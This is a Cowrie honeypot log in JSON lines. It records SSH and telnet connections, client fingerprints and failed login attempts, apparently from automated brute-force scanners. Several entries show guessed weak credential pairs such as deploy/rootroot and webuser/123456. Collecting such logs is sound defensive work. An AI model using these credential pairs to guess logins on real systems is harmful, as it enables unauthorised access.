{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:09.883315Z","src_ip":"45.156.87.147","session":"249fedb34977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:09.966405Z","src_ip":"45.156.87.147","session":"249fedb34977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:10.217429Z","src_ip":"45.156.87.147","session":"249fedb34977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:11.304725Z","src_ip":"45.156.87.147","session":"249fedb34977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44486,"dst_ip":"10.17.0.5","dst_port":22,"session":"95bc1a3187c7","protocol":"ssh","message":"New connection: 45.156.87.147:44486 (10.17.0.5:22) [session: 95bc1a3187c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:16.070348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:16.074218Z","src_ip":"45.156.87.147","session":"95bc1a3187c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:16.221167Z","src_ip":"45.156.87.147","session":"95bc1a3187c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123","message":"login attempt [user2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:16.495833Z","src_ip":"45.156.87.147","session":"95bc1a3187c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":55742,"dst_ip":"159.203.135.109","dst_port":22,"session":"faa5d3021311","protocol":"ssh","message":"New connection: 43.166.242.149:55742 (159.203.135.109:22) [session: faa5d3021311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:16.657101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:16.661238Z","src_ip":"43.166.242.149","session":"faa5d3021311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:16.670495Z","src_ip":"43.166.242.149","session":"faa5d3021311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sound","password":"sound","message":"login attempt [sound/sound] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:16.960879Z","src_ip":"43.166.242.149","session":"faa5d3021311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:17.579654Z","src_ip":"45.156.87.147","session":"95bc1a3187c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:17.972884Z","src_ip":"43.166.242.149","session":"faa5d3021311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60214,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9229691d7bf","protocol":"telnet","message":"New connection: 172.81.62.90:60214 (159.203.135.109:23) [session: c9229691d7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:21.911739Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":32910,"dst_ip":"10.17.0.5","dst_port":22,"session":"664df0f38cda","protocol":"ssh","message":"New connection: 45.156.87.147:32910 (10.17.0.5:22) [session: 664df0f38cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:22.391583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:22.395449Z","src_ip":"45.156.87.147","session":"664df0f38cda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:22.476438Z","src_ip":"45.156.87.147","session":"664df0f38cda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"rootroot","message":"login attempt [deploy/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:22.730680Z","src_ip":"45.156.87.147","session":"664df0f38cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:23.817270Z","src_ip":"45.156.87.147","session":"664df0f38cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.01951503753662,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:26.874913Z","src_ip":"128.199.8.54","session":"0f219b7728bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":32912,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfa4b6365ea8","protocol":"ssh","message":"New connection: 45.156.87.147:32912 (10.17.0.5:22) [session: dfa4b6365ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:28.360452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:28.364125Z","src_ip":"45.156.87.147","session":"dfa4b6365ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:28.446049Z","src_ip":"45.156.87.147","session":"dfa4b6365ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:28.851300Z","src_ip":"45.156.87.147","session":"dfa4b6365ea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":37948,"dst_ip":"159.203.135.109","dst_port":22,"session":"14e402f81f3f","protocol":"ssh","message":"New connection: 103.189.235.114:37948 (159.203.135.109:22) [session: 14e402f81f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:29.433910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:29.439672Z","src_ip":"103.189.235.114","session":"14e402f81f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:29.674772Z","src_ip":"103.189.235.114","session":"14e402f81f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:29.939539Z","src_ip":"45.156.87.147","session":"dfa4b6365ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"streams","password":"streams","message":"login attempt [streams/streams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:30.658303Z","src_ip":"103.189.235.114","session":"14e402f81f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:31.899727Z","src_ip":"103.189.235.114","session":"14e402f81f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57566,"dst_ip":"10.17.0.5","dst_port":22,"session":"d10cc073e38a","protocol":"ssh","message":"New connection: 45.156.87.147:57566 (10.17.0.5:22) [session: d10cc073e38a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:34.763904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:34.770513Z","src_ip":"45.156.87.147","session":"d10cc073e38a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:34.851857Z","src_ip":"45.156.87.147","session":"d10cc073e38a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.0249547958374,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:34.893102Z","src_ip":"128.199.8.54","session":"cbaca39edbca","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:35.098670Z","src_ip":"45.156.87.147","session":"d10cc073e38a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:36.220062Z","src_ip":"45.156.87.147","session":"d10cc073e38a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53740,"dst_ip":"10.17.0.5","dst_port":22,"session":"3708f067ea65","protocol":"ssh","message":"New connection: 45.156.87.147:53740 (10.17.0.5:22) [session: 3708f067ea65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:40.892453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:40.896459Z","src_ip":"45.156.87.147","session":"3708f067ea65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:40.979640Z","src_ip":"45.156.87.147","session":"3708f067ea65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:41.229347Z","src_ip":"45.156.87.147","session":"3708f067ea65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:42.320274Z","src_ip":"45.156.87.147","session":"3708f067ea65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53752,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ee1de9d2087","protocol":"ssh","message":"New connection: 45.156.87.147:53752 (10.17.0.5:22) [session: 6ee1de9d2087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:46.821443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:46.825521Z","src_ip":"45.156.87.147","session":"6ee1de9d2087","protocol":"ssh"}
